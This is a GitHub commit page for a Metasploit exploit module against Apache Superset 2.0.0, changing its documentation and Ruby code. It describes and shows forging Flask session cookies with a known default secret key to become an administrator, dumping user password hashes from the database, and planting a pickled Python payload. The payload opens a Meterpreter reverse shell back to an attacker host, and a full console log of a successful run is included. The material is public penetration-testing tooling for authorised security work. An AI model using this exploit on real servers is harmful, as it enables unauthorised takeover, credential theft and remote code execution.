Skip to content

Commit

Permalink
superset rce more stable
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed Sep 15, 2023
1 parent a8da47e commit e34ed10
Show file tree
Hide file tree
Showing 3 changed files with 75 additions and 38 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ These cookies can therefore be forged. If a user is able to login to the site, t
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user and retrieve database
credentials saved in Apache Superset.

## App Install
### App Install

```
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
Expand All @@ -30,6 +30,7 @@ If you want any database credentials to be pulled, you'll need to configure a da
1. Install the application
1. Start msfconsole
1. Do: `use auxiliary/gather/apache_superset_priv_esc`
1. Do: `set rhost [ip]`
1. Do: `set username [username]`
1. Do: `set password [password]`
1. Do: `run`
Expand Down
Original file line number Diff line number Diff line change
@@ -1,10 +1,14 @@
## Vulnerable Application

Instructions to get the vulnerable application. If applicable, include links to the vulnerable install
files, as well as instructions on installing/configuring the environment if it is different than a
standard install. Much of this will come from the PR, and can be copy/pasted.
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
set for that dashboard within Superset's database which will trigger the RCE.

## App Install
An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.

### App Install

```
sudo docker run -p 8088:8088 --name superset apache/superset:2.0.0
Expand Down Expand Up @@ -33,71 +37,103 @@ Login to the app, click 'list users' under 'Settings', then click '+'. Make a ne

## Options

### USERNAME

The username to authenticate as. Required with no default.

### PASSWORD

The password for the specified username. Required with no default.

### ADMIN_ID

The ID of an admin account. Defaults to `1`

### SECRET_KEYS_FILE

A file containing secret keys to try. One per line. Defaults to `metasploit-framework/data/wordlists/superset_secret_keys.txt`

### DATABASE

Location on the target of the Superset database. Defaults to the Docker location `/app/superset_home/superset.db`

## Scenarios

### Apache Superset 2.0.0 on Docker

```
msf6 > use exploit/linux/http/apache_superset_cookie_sig_rce
resource (superset_rce.rb)> use exploit/linux/http/apache_superset_cookie_sig_rce
[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set rhosts 127.0.0.1
resource (superset_rce.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set lhost 2.2.2.2
lhost => 2.2.2.2
msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set verbose true
resource (superset_rce.rb)> set verbose true
verbose => true
msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set username user
resource (superset_rce.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (superset_rce.rb)> set username user
username => user
msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > set password user
resource (superset_rce.rb)> set password user
password => user
msf6 exploit(linux/http/apache_superset_cookie_sig_rce) > exploit
resource (superset_rce.rb)> set proxies HTTP:127.0.0.1:8080
proxies => HTTP:127.0.0.1:8080
resource (superset_rce.rb)> set ReverseAllowProxy true
ReverseAllowProxy => true
resource (superset_rce.rb)> rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Attempting login
[*] Grabbing CSRF token
[*] 127.0.0.1:8088 - CSRF Token: ImFiOTFjYTQ2MjNjNzc1YjJlNmY2MThiYmFhZDk3OTI3NGUxYjVkNzci.ZQM-wQ.PuuU9Sr4i-3yGZq0UCnZBdk-qRA
[*] 127.0.0.1:8088 - CSRF Token: IjZmOTM2NTI4MmRmYjQyNDdkMGVmMmUxOGVjZDBhOWNmZTZiYWFmZGEi.ZQSodw.C7YXKC5pMw0rGvnJcqVT5ZFkXYQ
[*] 127.0.0.1:8088 - Attempting login
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwlj8GKAzEMQ_8l5znYSWwn_ZnBTmx22dLCTHsq_fem7E0gPSS90h6Hnz_p8jievqX9d6ZLCpLGnbQCM40YAlqWnL1EgADkVpuiNCWehYoBUZRgbDnjqIgrTR5hWHBRkV1DI1AnUJ6NwRUdwEDZhXvg8obCpGGEQbWnLY3ziP1x__Pb2qPWV6ByLkOELDt_y8xUZ5eepToaTZHFXe9Dr76YBW7pefrxfymn9wfKmEMC.ZQM-wQ.d_0zXIowRPUN8ax8NylYPOlAuyk;
[+] 127.0.0.1:8088 - Logged in Cookie: session=.eJwNjUEKgzAQRa8SZh2KTa1Vb-Cu-yIyJjMxdIiQhJYi3r1ZPfjw_jtgYcG8UYbxdYAqFfDFFEP0oGGKH5TglOw-xIt6CmEmVdJPoce6wHzOul4kyhuMjJJJg82Jl7K_KcIIHQ-37m5643htTftwDbGha0_WNThYpm5FZIc1JrtFoepU8fwDUO8x4g.ZQSodw.VE5Y8HQDKavvXpMdUVnZrfqiokI;
[*] 127.0.0.1:8088 - Checking secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[-] 127.0.0.1:8088 - Incorrect secret key: \x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h
[*] 127.0.0.1:8088 - Checking secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[+] 127.0.0.1:8088 - Found secret key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - Modified cookie: {"_fresh"=>true, "_id"=>"f578695a40665cfc70a3066d93ff07002848a178a56d353b055f3f618221c411a305effb13166df2eafaff1ad052d860ea1e00b0a6e769f1ff1ca0d5cb51f549", "csrf_token"=>"ab91ca4623c775b2e6f618bbaad979274e1b5d77", "locale"=>"en", "user_id"=>1}
[*] 127.0.0.1:8088 - Modified cookie: {"_flashes"=>[{" t"=>["warning", "Invalid login. Please try again."]}], "_fresh"=>false, "csrf_token"=>"6f9365282dfb4247d0ef2e18ecd0a9cfe6baafda", "locale"=>"en", "user_id"=>1}
[*] 127.0.0.1:8088 - Attempting to resign with key: CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET
[*] 127.0.0.1:8088 - New signed cookie: eyJfZnJlc2giOnRydWUsIl9pZCI6ImY1Nzg2OTVhNDA2NjVjZmM3MGEzMDY2ZDkzZmYwNzAwMjg0OGExNzhhNTZkMzUzYjA1NWYzZjYxODIyMWM0MTFhMzA1ZWZmYjEzMTY2ZGYyZWFmYWZmMWFkMDUyZDg2MGVhMWUwMGIwYTZlNzY5ZjFmZjFjYTBkNWNiNTFmNTQ5IiwiY3NyZl90b2tlbiI6ImFiOTFjYTQ2MjNjNzc1YjJlNmY2MThiYmFhZDk3OTI3NGUxYjVkNzciLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZQM-wQ.lz1hKBJzLITRijnEdXS01xegiNE
[*] 127.0.0.1:8088 - New signed cookie: eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkludmFsaWQgbG9naW4uIFBsZWFzZSB0cnkgYWdhaW4uIl19XSwiX2ZyZXNoIjpmYWxzZSwiY3NyZl90b2tlbiI6IjZmOTM2NTI4MmRmYjQyNDdkMGVmMmUxOGVjZDBhOWNmZTZiYWFmZGEiLCJsb2NhbGUiOiJlbiIsInVzZXJfaWQiOjF9.ZQSodw.tqvbZGeoJr4hx6k8CVM_XA-_AAE
[+] 127.0.0.1:8088 - Cookie validated to user: admin
[*] Attempting to pull user creds from db
[+] Successfully created db mapping with id: 2
[*] Creating new sqllab tab
[+] Using tab: 1
[+] Using tab: 2
[*] Setting latest query id
[*] Harvesting superset user creds
[+] Superset Creds
==============
Username Password
-------- --------
admin $pbkdf2-sha256$260000$Q1hzYjU5dFNMWm05QUJCTg$s.vmjGlIV0ZKV1Sp3dTdrcn/i9CTqxPZ0klve4HreeU
user $pbkdf2-sha256$260000$azRXcXpkNVVOUjhtREkzUQ$0x2u615mTZUc1RTbFS07s8Io3IMSH4DAfzteN6YOctk
admin $pbkdf2-sha256$260000$R203aXBtQVh3ZUlFVmREdQ$/Sivpafs38x.LXzDbxhSsvjfZC5pKpuPONqzOWnsgrk
[*] Attempting RCE
[*] Creating new dashboard
[+] New Dashboard id: 1
[+] New Dashboard id: 2
[*] Grabbing permalink to new dashboard to trigger payload later
[+] Dashboard permalink key: KaJynrmk94N
[+] Dashboard permalink key: aojEJOPXQyB
[*] Grabbing values to reset later
[*] Setting latest query id
[*] Setting latest query id
[*] Uploading payload
[*] Triggering payload
[*] Sending stage (24768 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 172.17.0.2:55878) at 2023-09-14 13:11:31 -0400
[*] Sending stage (24772 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:57716) at 2023-09-15 14:54:49 -0400
[*] Unsetting RCE Payloads
[*] Restoring row ID 1
[*] Setting latest query id
[+] Successfully restored
[*] Restoring row ID 3
[*] Setting latest query id
[+] Successfully restored
[*] Deleting dashboard
[*] Deleting sqllab tab
[*] Deleting database mapping
meterpreter > getuid
Server username: superset
meterpreter > sysinfo
Computer : f253114ca039
Computer : 2f7ff4a15c36
OS : Linux 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.4.11-1kali1 (2023-08-21)
Architecture : x64
System Language : C
Expand Down
24 changes: 12 additions & 12 deletions modules/exploits/linux/http/apache_superset_cookie_sig_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -13,8 +13,13 @@ def initialize(info = {})
info,
'Name' => 'Apache Superset Signed Cookie RCE',
'Description' => %q{
This exploit module illustrates how a vulnerability could be exploited
in a webapp.
Apache Superset versions <= 2.0.0 utilize Flask with a known default secret key which is used to sign HTTP cookies.
These cookies can therefore be forged. If a user is able to login to the site, they can decode the cookie, set their user_id to that
of an administrator, and re-sign the cookie. This valid cookie can then be used to login as the targeted user. From there the
Superset database is mounted, and credentials are pulled. A dashboard is then created. Lastly a pickled python payload can be
set for that dashboard within Superset's database which will trigger the RCE.
An attempt to clean up ALL of the dashboard key values and reset them to their previous values happens during the cleanup phase.
},
'License' => MSF_LICENSE,
'Author' => [
Expand Down Expand Up @@ -65,6 +70,7 @@ def initialize(info = {})
false, 'File containing secret keys to try, one per line',
File.join(Msf::Config.data_directory, 'wordlists', 'superset_secret_keys.txt')
]),
OptString.new('DATABASE', [true, 'The superset database location', '/app/superset_home/superset.db'])
]
)
end
Expand Down Expand Up @@ -245,7 +251,7 @@ def mount_internal_database
'engine' => 'sqlite',
'configuration_method' => 'sqlalchemy_form',
'catalog' => [{ 'name' => '', 'value' => '' }],
'sqlalchemy_uri' => 'sqlite+pysqlite:////app/superset_home/superset.db',
'sqlalchemy_uri' => "sqlite+pysqlite:///#{datastore['DATABASE']}",
'expose_in_sqllab' => true,
'database_name' => Rex::Text.rand_text_alphanumeric(6, 12),
'allow_ctas' => true,
Expand Down Expand Up @@ -493,7 +499,7 @@ def rce_implant
'json' => true,
'runAsync' => false,
'schema' => 'main',
'sql' => "UPDATE key_value set value=X'#{pickled}' where resource='dashboard_permalink';",
'sql' => "UPDATE key_value set value=X'#{pickled}' where resource='dashboard_permalink';", # the dashboard ID doesn't necessarily correspond to the ID in this table, so we just have to overwrite them all
'sql_editor_id' => '1',
'tab' => 'Untitled Query 1',
'tmp_table_name' => '',
Expand Down Expand Up @@ -527,13 +533,10 @@ def rce_implant
end

def exploit
# attempt a login. In this case we show basic auth, and a POST to a fake username/password
# simply to show how both are done
@db_id = nil
@csrf_token = nil
@tab_id = nil
@dashboard_id = nil
@cj = Msf::Exploit::Remote::HTTP::HttpCookieJar.new
vprint_status('Attempting login')
login_and_priv_esc
vprint_status('Attempting to pull user creds from db')
Expand All @@ -550,6 +553,7 @@ def cleanup
print_status('Unsetting RCE Payloads')
@values_to_reset.each do |row|
next if row[0] == 'id' # headers

vprint_status("Restoring row ID #{row[0]}")

set_query_latest_query_id
Expand All @@ -558,10 +562,7 @@ def cleanup
row[1] = row[1][2..-2] # remove encoding and substring marks
row[1] = Rex::Text.to_hex(row[1])
row[1] = row[1].gsub('\x', '') # we only need a beginning \x not every character for this format
is_binary=true

puts row[1]
puts "UPDATE key_value set value=#{is_binary ? 'X' : ''}'#{row[1]}' where id='#{row[0]}';"
is_binary = true
end

res = send_request_cgi(
Expand Down Expand Up @@ -598,7 +599,6 @@ def cleanup
end
end

return # XXX remove me
# delete dashboard
unless @dashboard_id.nil?
print_status('Deleting dashboard')
Expand Down

0 comments on commit e34ed10

Please sign in to comment.